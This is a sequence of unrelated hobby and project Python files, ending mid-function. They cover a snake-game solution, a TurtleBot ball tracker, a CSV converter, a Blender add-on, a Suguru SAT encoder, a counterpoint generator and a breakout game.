import sys
from collections import deque
inp = lambda : sys.stdin.readline().rstrip()
# 사과 먹으면 뱀 길이 늘어남 -> 뱀 기어다니다 벽 또는 자기 자신의 몸과 부딪히면 끝
# NxN 보드, 몇몇 칸에는 사과
# 뱀 처음엔 오른쪽 향함
## 뱀은 몸 길이를 늘려 머리 다음칸에 위치
## 이동한 칸에 사과 있따면 사과 없어지고 꼬리 움직이지 X -> 머리만 이동한거
## 사과 없다면 몸 길이 줄여서 꼬리칸 비우기 -> 몸길이 변화 X
N = int(inp())
boards = [[0 for _ in range(N)] for _ in range(N)]
# 시계방향 순서 우->하->좌->상
dx = [0, 1, 0, -1]
dy = [1, 0, -1, 0]
cur_idx = 0
# 사과 정보
## 사과 있는 칸 1로 표기
K = int(inp())
for _ in range(K):
    x, y = map(int, inp().split())
    boards[x-1][y-1] = 1
# 방향 변환 횟수
L = int(inp())
move_idx = 0
moves = []
for _ in range(L):
    X, C = inp().split()
    moves.append((int(X), C))
res = 1
paths = deque([(0, 0), (0, 1)])
while True:
    # 벽에 닿은 겨우 break
    # x, y -> 현재 위치
    x, y = paths.pop()
    if x < 0 or x >= N or y < 0 or y >= N:
        break
    # 뱀의 몸이 있는 곳은 값이 2
    # print(x, y, boards[x][y])
    if boards[x][y] == 2:
        break

    # 사과 없는 칸 -> 꼬리 제거
    elif boards[x][y] == 0:
        r, c = paths.popleft()
        boards[r][c] = 0
    # 사과 있는 칸인 경우
    paths.append((x, y))
    boards[x][y] = 2
    if move_idx < L and res == moves[move_idx][0]:
        # idx 회전
        if moves[move_idx][1] == 'D':
            cur_idx += 1
        else:
            cur_idx -= 1
        cur_idx %= 4
        move_idx += 1
    res += 1
    paths.append((x + dx[cur_idx], y + dy[cur_idx]))
print(res)


from AutmanRobot import TurtleBot
from AutmanRobot.States.State_ObstaceAvoidance import ObstaceAvoidance

import cv2
import threading
import rospy
import smach
from AutmanRobot.Field import Field
import numpy as np
import time
import numpy.linalg as la
import math
from operator import xor
import sys

######################____RESCALE_FRAME___###########################
def rescale_frame (frame ,hsv, scale):
    width = int(frame.shape[1] * scale/100)
    height = int(frame.shape[0] * scale/100)
    dim = (width, height)
    resizedBGR = cv2.resize(frame, dim, interpolation =cv2.INTER_AREA)
    resizedHSV = cv2.resize(hsv, dim, interpolation =cv2.INTER_AREA)
    return resizedBGR , resizedHSV, scale
#####################################################################

##############___COLORS___##########################################

def color(hsv):
    lower_red = np.array([0,136,87])
    upper_red = np.array([17,254,255])
    # #######################################

    # ################___YELLOW___###########
    lower_yellow = np.array([20,36,250])
    upper_yellow = np.array([40,255,255])
    # #######################################

    # ################___BLUE___#############
    lower_blue = np.array([84,0,255])
    upper_blue = np.array([108,255,255])
    # ######################################

    ##########___MASK___##########

    ###########___REMOVE_WHITE___#####
    # mask_white = cv2.inRange(frame, lower_white, upper_white)
    # maskw = cv2.bitwise_not(mask_white)

    mask_red = cv2.inRange(hsv, lower_red, upper_red)
    maskr = cv2.bitwise_not(mask_red)
    maskrr = cv2.erode(maskr, None, iterations=2)
    mask_red = cv2.bitwise_not(maskrr)

    mask_yellow = cv2.inRange(hsv, lower_yellow, upper_yellow)
    # mask_yellow = cv2.bitwise_and(mask_yellow, mask_yellow ,mask=maskw)
    masky = cv2.bitwise_not(mask_yellow)
    maskyy = cv2.erode(masky, None, iterations=2)
    mask_yellow = cv2.bitwise_not(maskyy)

    mask_blue = cv2.inRange(hsv, lower_blue, upper_blue)

    return  mask_red, mask_yellow, mask_blue
#####################################################################

######################____TOOP_FIND___###############################
def find_circ(frame, scale, cc):
    _, cnts, _ = cv2.findContours(cc, cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)
    x=50
    y=50
    errorx=0
    errory=0
    gate =1
    ball=0
    area = 0
    radius = 0
    offset_errorx=25
    cnts_sort = sorted(cnts, key=cv2.contourArea, reverse=True)
    if len(cnts_sort) > 2 :
        cnts = cnts_sort[0:1]
    else:
        cnts = cnts_sort

    arr = []
    res = []
    for c in cnts:
        # M = cv2.moments(c)
        # cX = int(((M["m10"] + 0.00001 )/( M["m00"] + 0.00001)) / scale)
        # cY = int(((M["m01"] + 0.00001 )/( M["m00"] + 0.00001)) / scale)
        # # c = c.astype("float")
        # c = c.astype("int")
        appr = cv2.approxPolyDP(c, 0.01 * cv2.arcLength(c, True),True)
        if len(appr) >= 10 and len(appr)<=25:
            area = cv2.contourArea(c)
            if area >= 500 and area <= 11000:
                # c = sorted(cnts, key=cv2.contourArea, reverse=True)[0]
                (x, y), raduis= cv2.minEnclosingCircle(c)
                center = (int(x), int(y))
                raduis= int(raduis)
                cv2.circle(frame, center, raduis, (0, 255, 0), 2)
                # area = cv2.contourArea(c)
                # print(str(area))
                errorx= int((int(x)+offset_errorx-float(frame.shape[1] /2))*15/37.8)
                errory= int((int(y)-float(frame.shape[0] /2))*25/37.8)
                arr.append(errorx)
                gate=0
                ball=1
                res.append([x,y,errorx,errory,gate,ball,area,radius])

    if len(arr) >= 2 and arr[0]<arr[1]:
        x,y,errorx,errory,gate,ball,area,radius = res[0]

    elif len(arr) >= 2:
        x,y,errorx,errory,gate,ball,area,radius = res[1]
        print("res1",res[1])
    else:
        pass

    return x,y,errorx,errory,gate,ball,area,radius

#####################################################################

#########################___P_CONTROLLER___##########################
def p(errorx):
    w=-1*float(errorx)*2/200
    return w
#####################################################################

#########################___SAF___##################################
def saf(errorx, ball, had):
    w=p(errorx)
    # print('error:   '+ str(errorx) +'w:      '+ str(w))
    s = 0
    if abs(w)>=had:
        s=0
        ang= 0.7*w
        robot.setVelocity(0,ang)
        time.sleep(0.005)
    else :
        w = 0
        s=1
    return s
#####################################################################

#########################____Charkh___###############################
def charkh (angle, phi):
    angle = angle + math.pi
    phi = phi + math.pi

    err = phi - angle
    print ("Angle   :::   "+ str(angle)+ "       Phi  ::    "+ str(phi)+"     Error    :::  " + str(err))

    if 2*math.pi - err <=3.14:
        z = err
    else:
        z=-err

    if z > 0.5:
        z=0.5

    if z < -0.5:
        z=-0.5

    return z,err
#####################################################################

if __name__ == "__main__":
    robot = TurtleBot.TB3("sina",[0,1,2])
    robot.init_node()
    robot.printInfo()
    robot.setGripper(90)
    teta = 70
    offset_pan=105
    robot.setCameraPos(offset_pan,teta)
    prefered_color="blue"
    prefered_angle=1.4
    first_time =  0
    bbox = (100, 100, 200, 200)
    # tracker = cv2.TrackerCSRT_create()
    ####__ANGLE___####
    while (True):
        imu = robot.getOdometry()
        phi = imu[2]
        z,err = charkh (angle, phi)
        robot.setVelocity(0 ,2*z)
        time.sleep(0.05)
        if abs(z) <0.03:
            robot.setVelocity(0,0)
            break
    ###################

    while (True):
        t1=time.time()

        ###___getting_frames_from_webcam___###
        frame, hsv = robot.getFrame(color = "hsv")

        ###___Rescale_the_frame___###
        resizedBGR , resizedhsv, scale = rescale_frame(frame ,hsv, 50)

        ###___extract_the_needed_colors_mask___###
        red, yellow, blue= color(resizedhsv)

        ###___get_the_details_of_each_color___###
        dict={"red":red, "yellow":yellow, "blue":blue}
        prefered_mask=dict[prefered_color]
        x, y, errorx, errory, gate, ball, area , r = find_circ(resizedhsv, scale, prefered_mask)

        print("while 1")
        # if ball == 1 and first_time == 0:
        #     first_time = 1
        #     bbox = (x-r, y-r, x+r, y+r)
        #     ok = tracker.init(resizedBGR, bbox)
        # elif ball ==1:
        #     ok, bbox = tracker.update(resizedBGR)
        #     p1 = (int(bbox[0]), int(bbox[1]))
        #     p2 = (int(bbox[0] + bbox[2]), int(bbox[1] + bbox[3]))
        #     cv2.rectangle(resizedBGR, p1, p2, (255,0,0), 2, 1)

        s = saf(errorx, ball, 0.06)
        # print ("area :      "+str(vv))
        cv2.imshow("Frame",resizedBGR)
        cv2.imshow(prefered_color,prefered_mask)

        k=cv2.waitKey(1) & 0xFF

        if s == 1 and ball==1:
            robot.setVelocity(0 ,0)
            break

        t2=time.time()

    robot.setCameraPos(offset_pan,20)
    time.sleep(1)
    robot.getFrame()
    cnt = 0

    while (True):
        robot.setVelocity(0.05,0)
        time.sleep(0.06)

        ###___getting_frames_from_webcam___###
        frame, hsv = robot.getFrame(color = "hsv")

        ###___Rescale_the_frame___###
        resizedBGR , resizedhsv, scale = rescale_frame(frame,hsv, 50)

        ###___extract_the_needed_colors_mask___###
        red, yellow, blue= color(resizedhsv)

        ###___get_the_details_of_each_color___###
        dict={"red":red, "yellow":yellow, "blue":blue}
        prefered_mask=dict[prefered_color]
        x, y, errorx, errory, gate, ball, area , radius = find_circ(resizedhsv, scale, prefered_mask)
        if y >= 25 and ball==1:
            robot.setGripper(0)
            print ("Seee Seee Seee")

        print("while 2")
        s = saf(errorx, ball, 0.06)

        cv2.imshow(prefered_color,prefered_mask)
        k=cv2.waitKey(1) & 0xFF

        print("y = ",y)
        if ball == 1 and y >= 180 and s==1:
            cnt = cnt + 1
            if cnt > 4:
                robot.setVelocity(0.05,0)
                time.sleep(0.05)
                robot.setGripper(20)
                time.sleep(0.05)
                robot.setGripper(30)
                time.sleep(0.05)
                robot.setGripper(40)
                time.sleep(0.05)
                robot.setGripper(50)
                time.sleep(0.05)
                robot.setGripper(55)
                time.sleep(0.05)
                robot.setVelocity(0,0)
                break


import csv

from pywell.entry_points import run_from_cli

DESCRIPTION = 'Convert CSV to needed format for Airtable import'

ARG_DEFINITIONS = {
    'IN': 'Input CSV',
    'OUT': 'Output CSV'
}

REQUIRED_ARGS = ['IN', 'OUT']

def format(args):
    rows = []
    with open(args.IN, 'rt') as csvfile:
        csvreader = csv.DictReader(csvfile, delimiter="\t")
        for row in csvreader:
            city_parts = row['City'].split(' ')
            rows.append({
                'County Code': '',
                'State': 'North Carolina',
                'County': row['County'],
                'Name': row['Name'],
                'Temp County': '',
                'Address': row['Street'],
                'City': city_parts[0][:-1],
                'Zip': city_parts[2],
                'lat': '',
                'lng': '',
                'Hours': f"{row['Date']} {row['Hours']}",
                'Type': 'Drop Box'
            })

    rows_by_location = {}
    for row in rows:
        location = f"{row['Name']}-{row['County']}"
        if not location in rows_by_location:
            rows_by_location[location] = row
        else:
            rows_by_location[location]['Hours'] += ', ' + row['Hours']
    rows = rows_by_location.values()

    with open(args.OUT, 'w') as csvfile:
        fieldnames = ['County Code', 'State', 'County', 'Name', 'Temp County', 'Address', 'City', 'Zip', 'lat', 'lng', 'Hours', 'Type']
        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
        writer.writeheader()
        for row in rows:
            writer.writerow(row)

    return args.OUT

if __name__ == '__main__':
    run_from_cli(format, DESCRIPTION, ARG_DEFINITIONS, REQUIRED_ARGS)


import mutagen
from mutagen.mp3 import MP3

def which_encoding(file_path: str) -> str:
    try:
        # Most of the voice-over wav files are actually mp3 files with .wav extensions
        info = MP3(file_path).info
        encoding = "mp3"
    except mutagen.mp3.HeaderNotFoundError:
        # Probably a real wav file
        encoding = "wav"

    return encoding


from __future__ import print_function

import distutils.spawn
import shlex
import subprocess
import sys

from setuptools import find_packages
from setuptools import setup

version = "0.0.3"

if sys.argv[-1] == "release":
    if not distutils.spawn.find_executable("twine"):
        print(
            "Please install twine:\n\n\tpip install twine\n", file=sys.stderr,
        )
        sys.exit(1)

    commands = [
        "git tag v{:s}".format(version),
        "git push origin master --tag",
        "python setup.py sdist",
        "twine upload dist/dense-fusion-{:s}.tar.gz".format(version),
    ]
    for cmd in commands:
        print("+ {}".format(cmd))
        subprocess.check_call(shlex.split(cmd))
    sys.exit(0)

setup_requires = []
install_requires = [
    'cameramodels>=0.0.7',
    'gdown',
    'open3d>=0.9.0',
    'scikit-robot',
    'torch',
    'torchvision',
    ]

setup(
    name="dense-fusion",
    version=version,
    description="DenseFusion (6DoF Pose Estimaton)",
    author="iory",
    author_email="ab.ioryz@gmail.com",
    url="https://github.com/iory/dense-fusion",
    long_description=open("README.md").read(),
    long_description_content_type="text/markdown",
    license="MIT",
    classifiers=[
        "Development Status :: 5 - Production/Stable",
        "Intended Audience :: Developers",
        "Natural Language :: English",
        "License :: OSI Approved :: MIT License",
        "Programming Language :: Python",
        "Programming Language :: Python :: 2.7",
        "Programming Language :: Python :: 3.5",
        "Programming Language :: Python :: 3.6",
        "Programming Language :: Python :: 3.7",
        "Programming Language :: Python :: Implementation :: CPython",
    ],
    packages=find_packages(),
    package_data={'dense_fusion':
                  ['datasets/ycb/config/README.md',
                   'datasets/ycb/config/train_data_list.txt',
                   'datasets/ycb/config/classes.txt',
                   'datasets/ycb/config/test_data_list.txt']},
    zip_safe=False,
    setup_requires=setup_requires,
    install_requires=install_requires,
)


#Importando biblioteca do OpenCV
import cv2
#Importando biblioteca para computação científica
import numpy as np

#Lendo imagens
imagem_original = cv2.imread('../images/lena.png',1)

#Separa os canais da imagem
(B, G, R) = cv2.split(imagem_original)

cv2.imshow("Red", R)
cv2.imshow("Green", G)
cv2.imshow("Blue", B)
cv2.imshow("Original", imagem_original)
cv2.waitKey(0)

#Juntando os canais
fusao = cv2.merge([B,G,R])
cv2.imshow("Imagem fundida", fusao)
cv2.waitKey(0)


from batch_transcoder.backend.parsing.abstract_parser import AbstractParser

__parser_class_name__ = 'FrameRangeParser'

class FrameRangeParser(AbstractParser):

    def parse(self, source, current_data):
        dest_first = self._config_service.get_preset_config(
            'parsing/frame_range_parser/dest_first'
        )
        dest_last = int(current_data['last'] or source.sequence.end()) - int(current_data['first'] or source.sequence.start()) + dest_first
        current_data.update({
            'source_first': current_data['first'] or source.sequence.start(),
            'source_last': current_data['last'] or source.sequence.end(),
            'dest_first': str(dest_first),
            'dest_last': str(dest_last)
        })
        current_data.pop('first')
        current_data.pop('last')
        return current_data


# -*- coding: utf-8 -*-

bl_info = {
    "name": "Text Content Property",
    "author": "listelin",
    "version": (0, 1),
    "blender": (2, 80, 0),
    "location": "Properties Editor > Text > TextContent",
    "description": "Textプロパティにテキスト内容欄を追加し日本語入力可能にします。",
    "category": "Interface"}

import bpy
from bpy.types import Panel
from bpy.types import TextCurve

class CurveButtonsPanelText:
    bl_space_type = 'PROPERTIES'
    bl_region_type = 'WINDOW'
    bl_context = "data"

    @classmethod
    def poll(cls, context):
        return (type(context.curve) is TextCurve)

class DATA_PT_textcontent(CurveButtonsPanelText, Panel):
    bl_label = "TextContent"

    def draw(self, context):

        text = context.curve
        self.layout.prop(text, "body", text="")

def register():
    bpy.utils.register_class(DATA_PT_textcontent)

def unregister():
    bpy.utils.unregister_class(DATA_PT_textcontent)

if __name__ == "__main__":
    register()


from . import SatPuzzleBase

class SatPuzzleSuguruGeneral(SatPuzzleBase):
    '''
    A generalization of of Suguru similar to the generalization of Sudoku. There
    are C > 0 cells divided into areas (specified by a number unique to each
    area). Each area (of size N) must have the numbers 1, 2, ..., N.
    '''
    def __init__(self, cells: int, areas: list[int], givens: list[int]):
        '''
        cells = number of cells, numbered from 0
        areas = list of area numbers assigned to each cell
        givens = list of given values, 0 for no value given
        '''
        assert cells > 0
        assert len(areas) == cells
        assert len(givens) == cells
        area_symbols = set(areas)
        areas_dict: dict[int,list[int]] = dict() # map symbol to list of cell indexes
        for symb in area_symbols:
            areas_dict[symb] = [i for i,a in enumerate(areas) if a == symb]
        assert all(0 <= n <= len(areas_dict[areas[i]]) for i,n in enumerate(givens))
        self.cells = cells
        self.areas = areas[:]
        self.areasmap = areas_dict
        self.givens = givens[:]
        # variable map for CNF conversion (i,n) -> var (i = cell num)
        self.varmap: dict[tuple[int,int],int] = dict()
        self.varmaprev: dict[int,tuple[int,int]] = dict() # reverse of above
        last_var = 0 # last variable number used in the next loop
        for i,area in enumerate(areas):
            area_size = len(self.areasmap[area])
            for n in range(1,area_size+1):
                self.varmap[(i,n)] = last_var+n
                self.varmaprev[last_var+n] = (i,n)
            last_var += area_size
    def toCnf(self) -> list[list[int]]:
        '''
        These look very similar to the Sudoku clauses, except the area size and
        amount of possible numbers is constrained by area sizes.
        '''
        result: list[list[int]] = []
        for c in range(self.cells): # each cell
            area_size = len(self.areasmap[self.areas[c]])
            result.append([self.varmap[(c,n)] for n in range(1,area_size+1)]) # has a value
            for n1 in range(1,area_size+1): # and it is unique
                for n2 in range(n1+1,area_size+1):
                    result.append([-self.varmap[(c,n1)],-self.varmap[(c,n2)]])
        for area in self.areasmap: # each area
            cells = self.areasmap[area]
            area_size = len(cells)
            for n in range(1,area_size+1): # has each number
                result.append([self.varmap[(c,n)] for c in cells])
                for i,c1 in enumerate(cells): # that number is in a unique cell (redundant)
                    for c2 in cells[i+1:]:
                        result.append([-self.varmap[(c1,n)],-self.varmap[(c2,n)]])
            for c,n in enumerate(self.givens): # use clues
                if n != 0:
                    result.append([self.varmap[(c,n)]])
        return result
    def toSol(self, satSol: list[int]) -> list[int]:
        result = [0]*self.cells
        for v in filter(lambda x : x > 0, satSol):
            c,n = self.varmaprev[v]
            assert result[c] == 0 # only 1 value assigned to a cell
            result[c] = n
        assert all(n > 0 for n in result)
        return result


#----------------------------------------Info--------------------------------------------------#
'''
For this program you need to install music21 and musescore version 2.3.2
'''
#----------------------------------------Imports-----------------------------------------------#
import simpleaudio as sa
import random
import midiutil
from midiutil import MIDIFile
import inquirer
import re
import time
import os
import music21 as m21

#----------------------------------------Variables---------------------------------------------#

instruments     = []
instrument1     = 1
instrument2     = 1
instrument3     = 1

inputMelody     = []
melody          = []
splittedMelody  = []
melodyInput     = []
layer1          = []
layer2          = []
layerOne        = []
layerOneCopy    = []
layer01         = []
function        = []
inputPitches    = []
inputDurations  = []
newPitches      = []
newDurations    = []
durations       = []
durations2      = []
options         = []

layerAmount     = 0
octaveRange     = 1
stepSize        = 0
length          = 0
bpmDef          = 100

NOTES = ['C', 'c', 'D', 'd', 'E', 'F', 'f', 'G', 'g', 'A', 'a', 'B']
OCTAVES = list(range(11))
NOTES_IN_OCTAVE = len(NOTES)

#----------------------------------------Functions---------------------------------------------#

# MelodyTransform
def shuffleTransform(list): # Randomly shuffles the note or duration values
    random.shuffle(list)
    return list

def invertTransform(list): # Inverts the note or duration values
    list.reverse()
    return list

def transform(list): # Chooses a transform function an transforms list once
    transformations = ["shuffle", "invert"]
    newList = []
    function = random.choice(transformations)
    if function == "shuffle":
        newList = shuffleTransform(list)
    else:
        newList = invertTransform(list)
    return newList

def getMaxStepsize():
    maxStepsize = 0
    stepsize = 0
    for i in range(len(newPitches)-1):
        stepsize = (abs(newPitches[i] - newPitches[i+1]))
        if (stepsize > maxStepsize):
            maxStepsize = stepsize
    return maxStepsize

def melodyTransform(length):
    for note in melodyInput: # Seperate notes and durations from melody
        inputPitches.append(note[0])
        inputDurations.append(note[1])
    repeat = length/len(inputPitches) # Full length (input)/ length melodyInput
    while repeat > 0:
        # Transform pitches
        newList = transform(inputPitches)
        for pitch in inputPitches:
            newPitches.append(pitch)
        # Transform durations
        newList = transform(inputDurations)
        for duration in inputDurations:
            newDurations.append(duration)
        repeat -= 1 # Repeat until it reaches the inputted length
    while True:
        maxStepsize = getMaxStepsize()
        if (maxStepsize > 2):
            for i in range(len(newPitches)):
                if (abs(newPitches[i] - newPitches[i+1]) > 2):
                    newPitches.insert((i+1),(int(newPitches[i] + ((newPitches[i+1] - newPitches[i])/2))))
        else:
            break
    # Combine old and new pitches and durations to form melody
    for i in range(0, length):
        layer1.append([newPitches[i], newDurations[i], 120])
    return layer1

# ContrapuntInator
def getLastNote():
    global lastNote
    lastNote = layerOne[0]
    return lastNote

def parallel():
    global verschil
    layerTwo.append(layerOne[0] + verschil)
    getLastNote()
    layerOne.pop(0)
    return lastNote

def tegenbeweging():
    global verschil
    layerTwo.append(layerOne[0] - verschil)
    getLastNote()
    layerOne.pop(0)
    return lastNote

def zijdelings():
    layerTwo.append(layerOne[0])
    getLastNote()
    layerOne.pop(0)
    return lastNote

def zijdelings2():
    layerTwo.append(layerOne[0] + random.choice([2, -2]))
    getLastNote()
    layerOne.pop(0)
    return lastNote

def einde():
    afstand = abs(layerTwo[-1] - layerOne[-1])
    if (afstand != 3 or afstand != 4):
        if (afstand > 4):
            layerOne.append(layerOne[0])
            layerOneCopy.append(layerOne[0])
            layer1.append(layerOne[0])
            layerTwo.append(layerTwo[-1] + random.choice([1, 2]))
            einde()
        elif (afstand < 3):
            layerOne.append(layerOne[0])
            layerOneCopy.append(layerOne[0])
            layer1.append(layerOne[0])
            layerTwo.append(layerTwo[-1] - random.choice([1, 2]))
            einde()
        elif (afstand == 3):
            layerTwo.append(layerTwo[-1] + 1)
            layerOne.append(layerOne[0] - 2)
            layerOneCopy.append(layerOne[0] - 2)
            layer1.append(layerOne[0] - 2)
            return layerOne, layerTwo
        else:
            layerTwo.append(layerTwo[-1] + 2)
            layerOne.append(layerOne[0] - 2)
            layerOneCopy.append(layerOne[0] - 2)
            layer1.append(layerOne[0] - 2)
            return layerOne, layerTwo

def layer01Maker():
    for duration in layer2:
        durations.append(duration[1])
    for note in layerOneCopy:
        try:
            duration = float(durations[0])
            durations.pop(0)
        except:
            duration = 4
        layer01.append([note, duration, 120])

    return layer01

def layer2Maker():
    options.extend([1, 2, 4, 8])
    for note in layerTwo:
        durations2.append(random.choice(options))
        try:
            duration = float(durations[0])
            durations.pop(0)
        except:
            duration = durations2[-1]
        layer2.append([note, duration, 120])
    durations2.clear()
    options.clear()
    return layer2

def create_notes(input_notes):
    """
    <Copied from Ciska>
    Transforms a list of notes to m21 notes.

    Parameters:
    input_notes - a list of notes, each note defined as a list:
                  [pitch, quarter_note_length, velocity]

    Returns:
    A list of m21 notes.
    """
    notes =[]                       # instantiate new list
    for n in input_notes:
        note = m21.note.Note()      # create m21 note
        # to work with midi note values --> create a pitch object with
        # midi parameter and assign this pitch object to note.pitch
        note.pitch = m21.pitch.Pitch(midi=n[0])
        note.quarterLength=n[1]     # set notelength and velocity
        note.volume.velocity = n[2]
        notes.append(note)          # add note to m21 notes list
    return notes

def notes_to_stream(notes):
    """
    <Copied from Ciska>
    Creates a m21 stream adds the m21 notes in the passed list and returns the
    stream.

    Parameters:
    notes: - A list of m21 notes.

    Returns:
    A m21 stream.
    """
    clef = m21.clef.TrebleClef()    # instantiate treble clef
    stream = m21.stream.Stream()    # instantiate stream
    stream.clef = clef
    stream.append(notes)            # add notes
    return stream

def contrapuntInator():
    global lastNote
    global verschil
    verschil = (layerOne[1] - layerOne[0])
    interval = abs(layerTwo[0] - lastNote)
    if ( interval == 3 or interval == 4 or interval == 8 or interval == 9): #tertsen en sexten
        options.extend([0, 1, 2]) # 0 = zijdelings, 1 = tegenbeweging 2 = parallel
        choice = random.choice(options)
        options.clear()
        if (choice == 0):
            lastNote = parallel()
        elif (choice == 1):
            lastNote = tegenbeweging()
        else:
            lastNote = zijdelings()
    elif (interval == 5 or interval == 7):  #reine kwart en kwint
        options.extend([0, 1])
        choice = random.choice(options)
        options.clear()
        if (choice == 0):
            lastNote = tegenbeweging()
        else:
            lastNote = zijdelings()
    elif (interval == 0 or interval == 12): #prime en octaaf
        lastNote = tegenbeweging()
    elif (verschil == 0):   #reine prime
        lastNote = zijdelings2()
    else:                   #overige intervallen
        lastNote = zijdelings()
    if (len(layerOne) > 1):
        contrapuntInator()
    else:
        #TODO: cadens met tegenbeweging
        time.sleep(1)
        print("Here it is:")
        einde()

# Other
def note_to_number(note: str, octave: int) -> int:

    note = NOTES.index(note)
    note += (NOTES_IN_OCTAVE * octave)

    assert 0 <= note <= 127, errors['notes']

    return note

#----------------------------------------User-input--------------------------------------------#
# Tempo select
def selBPM():
    bpmFalse = True
    while True: # create loop
        bpmx = input("Bpm (press enter for default 100): ")
        if (bpmx==""): # if enter is pressed, bpm is default
            bpm=bpmDef
            break # answer recieved: stop loop
        else:
            try:
                bpm=int(bpmx) # checking whether input is integer
                break # answer recieved: stop loop
            except ValueError: #if input is not an integer replay loop
                print("False input: bpm input must be an integer, try again...")
    return bpm

# Instrument select
def selInstrument1():
    instrumentFalse = True
    while True:
        try:
            instrument1 = int(input("Insert midi channel: "))
            if 1 <= instrument1 <= 10:
                break
            else:
                print("False input: midichannel must be an integer between 1-10")
        except ValueError:
            print("False input: midichannel must be an integer between 1-10")
    return instrument1

# Step size select
def selStepSize():
    stepSize = input("Maximum step size: ") #TODO: errors
    return stepSize

# Melody input
def melodyInput():
    inputFalse = True
    while True:
        inputMelody.extend(input("Type your melody here:\n").split(' '))
        try:
            for element in inputMelody:
                melody.append([element])
            for list in melody:
                for note in list:
                    for value in note:
                        try:
                            durationvalue = float(value)
                            duration = (4/durationvalue)
                        except:
                            note = value
                splittedMelody.append([note_to_number(note, 5), duration, 120])
            break
        except ValueError:
            inputMelody.clear()
            melody.clear()
            splittedMelody.clear()
            print("ERROR: Incorrect input\n")
    melodyInput = splittedMelody
    return melodyInput

# Length select
def selLength():
    lengthFalse = True
    while True:
        try:
            length = int(input("Length in notes (min 8 notes): "))
            if (length >= 8):
                break
            else:
                print("False input: input must be an integer (min 10 seconds)")
        except ValueError:
            print("False input: input must be an integer (min 10 seconds)")
    return length

# Octave range select

#----------------------------------------Program-----------------------------------------------#

# Explaination
os.system('clear')
print("Welcome to CounterPointWise!\n...")
time.sleep(2)
print("This program will create a two-part compostion, \nbased on your own melody and the counterpoint rules.\n...")
time.sleep(4)
print("Let's create some music together!\n...")
time.sleep(6)
os.system('clear')
print("Let's start by setting some rules\n...")
time.sleep(2)

# Selecting rules
selecting = True
while True:
    bpm = selBPM()
    instrument1 = selInstrument1()
    stepSize = selStepSize()
    length = selLength()
    os.system('clear')
    print("\nWell done! These are the rules you selected:\n")
    time.sleep(1)
    print("Bpm = ", bpm)
    print("Instrument layer 1 = ", instrument1)
    print("Stepsize = ", stepSize)
    print("Length (in notes) = ", length)
    time.sleep(1)
    answer = input("\nIs this correct?('yes' or 'no')\n")
    answerFalse = True
    while True:
        if answer == "no":
            print("\nYou can now reselect your rules.\n")
            break
        else:
            if answer == "yes":
                break
            else:
                print("Please answer with 'yes' or 'no'..")
                answer = input("\nIs this correct?('yes' or 'no')\n")
    if answer == "yes":
        break

# Melody explaination
os.system('clear')
print("Great!, now it's time to input your own melody...\n")
time.sleep(2)
print("***** Rules *****\n")
time.sleep(1)
print("Type the notename, followed by the duration.\nFor example: D4\nThis will give you a quarter note D.\n")
time.sleep(6)
print("For sharps, use lowercase.\nFor example: c2 \nThis will give you a half note C Sharp.\n")
time.sleep(6)
print("Separate the notes with a single spacebar.\n")
time.sleep(3)
print("Example: D8 C4 E8 F4 g8\n")
time.sleep(4)
print("****************\n")
print("Okay, time to type your melody!\n")

melodyInput = melodyInput()

print("\nTransforming...\n")
layer1 = melodyTransform(length)
time.sleep(2)
print("CounterPointing...\n")

for note in layer1:
    layerOne.append(note[0]) #alle midinootwaardes in een array
    layerOneCopy.append(note[0])
for duration in layer1:
    durations.append(duration[1]) #alle durations in een array

layerTwo = [(layerOne[0])] #eerste noot van layertwo is eerste noot van layerOne
verschil = 0;
lastNote = getLastNote()
contrapuntInator()
layer2Maker()
layer01Maker()
notes = create_notes(layer2)
stream = notes_to_stream(notes)
stream2 = m21.stream.Stream()
stream2.append(stream)
notes.clear()
notes = create_notes(layer01)
stream = notes_to_stream(notes)
s = m21.stream.Stream()
s.insert(0.0, stream)
s.insert(0.0, stream2)
s.show()
time.sleep(2)


from keras.utils.data_utils import get_file
import numpy as np

def load_letter():
    """
    Load UCI LETTER data, if not exists in data_base_dir, download it and put into data_base_dir.

    :return: x_train, y_train, x_test, y_test
    """
    data_path = "../DeepForestTF_Data/letter-recognition.data"
    with open(data_path) as f:
        rows = [row.strip().split(',') for row in f.readlines()]
    n_datas = len(rows)
    X = np.zeros((n_datas, 16), dtype=np.float32)
    y = np.zeros(n_datas, dtype=np.int32)
    for i, row in enumerate(rows):
        X[i, :] = list(map(float, row[1:]))
        y[i] = ord(row[0]) - ord('A')
    x_train, y_train = X[:16000], y[:16000]
    x_test, y_test = X[16000:], y[16000:]
    return x_train, x_test, y_train, y_test


def getRuleNo(rule,dictionary_rules):
    for iterator in range(0,len(dictionary_rules)):
        if rule in dictionary_rules[iterator]:
            return iterator
    return -1

def getPosition(substring,string):
    if len(substring)==0:
        return -1;
    return string.find(substring)

def validate_dict(dictionary_rules,validate_dictionary):
    for iterator in validate_dictionary.keys():
        position=getRuleNo(iterator,dictionary_rules)
        if position != -1:
            prefix=dictionary_rules[position][1]
            middle=dictionary_rules[position][2]
            suffix=dictionary_rules[position][3]

            position_prefix=getPosition(prefix,validate_dictionary[iterator])
            position_middle=getPosition(middle,validate_dictionary[iterator])
            position_suffix=getPosition(suffix,validate_dictionary[iterator])

            if not(position_prefix<=position_middle<=position_suffix):
                return 0

        else:
            return 0

    return 1

print(validate_dict([("key1", "", "inside", ""),("key2", "start", "middle", "winter")],{"key2": "starting the engine in the middle of the winter", "key1": "come inside, it's too cold outside"}))


from paddle import Paddle # import de la classe Paddle
from ball import Ball # import de la classe Ball
from briques import Brick # import de la classe Brick
import time
import random
playingGame = False
bricks = [] # Création de la liste
new_game = False
score=0 # Initialisation du score
def setup():
    global paddle, ball # on déclare les variables paddle et ball comme globale
    size(805,600) # on défini la taille de la fenêtre
    paddle = Paddle() # on crée l'objet paddle
    ball = Ball() # on crée l'objet ball

    if new_game == True :
        randomizer = random.randint(110,200)
        randomizer2 = random.randint(4,8)
        randomizer3 = random.randint(20,40)
        randomizer4 = random.randint(150,245)
        ball.vel = PVector(1, 1)*randomizer2
        for x in range(5,width - 80,75):
            addBrick(x+37.5,50,3)
            addBrick(x+37.5,70,2)
            addBrick(x+37.5,90,1)
            addBrick(x+37.5,randomizer,4)
            addBrick(x+37.5,randomizer+randomizer3,4)

    else :
        for x in range(5,width - 80,75):
            addBrick(x+37.5,50,3)
            addBrick(x+37.5,70,2)
            addBrick(x+37.5,90,1)

# Fonctions créant et stockant les briques dans la liste
def addBrick(x,y,hits):
